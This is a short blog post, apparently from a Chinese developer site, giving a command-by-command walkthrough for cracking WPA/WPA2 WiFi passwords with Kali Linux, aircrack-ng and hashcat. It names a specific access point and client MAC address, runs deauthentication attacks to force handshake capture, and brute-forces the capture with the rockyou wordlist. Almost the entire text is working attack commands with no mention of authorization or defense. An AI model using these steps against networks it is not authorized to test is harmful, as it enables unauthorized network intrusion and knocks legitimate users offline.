破解WPA/WPA2 WiFi密码 // 使用 Kali Linux & Aircrack-ng & Hashcat

Crack WPA/WPA2 WiFi Passwords using Kali Linux & Aircrack-ng & Hashcat

All commands are executed as root.


PHASE ONE: Gather information


1. See interfaces

ip addr

or

ifconfig

2. Check and kill processes

airmon-ng check kill

3. Start monitor mode

airmon-ng start wlan0

4. Verify that monitor mode is used

airmon-ng

You could also use ifconfig to check if the interface is in monitor mode.

5. Get the AP’s MAC address and channel

airodump-ng wlan0mon

Target:

ESSID:    TPGuest-77E0
BSSID:    82:8F:1D:FB:77:E0
Channel:  1  

PHASE TWO: Capture Handshake


1. Collecting

airodump-ng -w TPGuest-77E0 -c 1 --bssid 82:8F:1D:FB:77:E0 wlan0mon

2. Deauth attack

[To all stations]
aireplay-ng --deauth 10 -a 82:8F:1D:FB:77:E0 wlan0mon

[To a specific station]
aireplay-ng --deauth 10 -a 82:8F:1D:FB:77:E0 -c 18:01:F1:B2:B3:02 wlan0mon

3. Check

aircrack-ng TPGuest-77E0-01.cap

or

wireshark TPGuest-77E0-01.cap

Press ctrl+F and input eapol , then press enter .
Check if there are 4 EAPOL packs (Message 1 ~ Message 4). If not, recapture.

4. Stop monitor mode

airmon-ng stop wlan0mon

PHASE TREE: Crack Password


1. Using Aircrack-ng

aircrack-ng TPGuest-77E0-01.cap -w /usr/share/wordlists/rockyou.txt

2. Using Hashcat (GPU)

  • Convert *.cap to *.hc22000

    hcxpcapngtool ./TPGuest-77E0-01.cap -o TPGuest-77E0-01.hc22000
    
  • Start hashcat

    hashcat -m 22000 TPGuest-77E0-01.hc22000 /usr/share/wordlists/rockyou.txt
    
  • Show cracked passwords

    hashcat -m 22000 --show TPGuest-77E0-01.hc22000
    
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值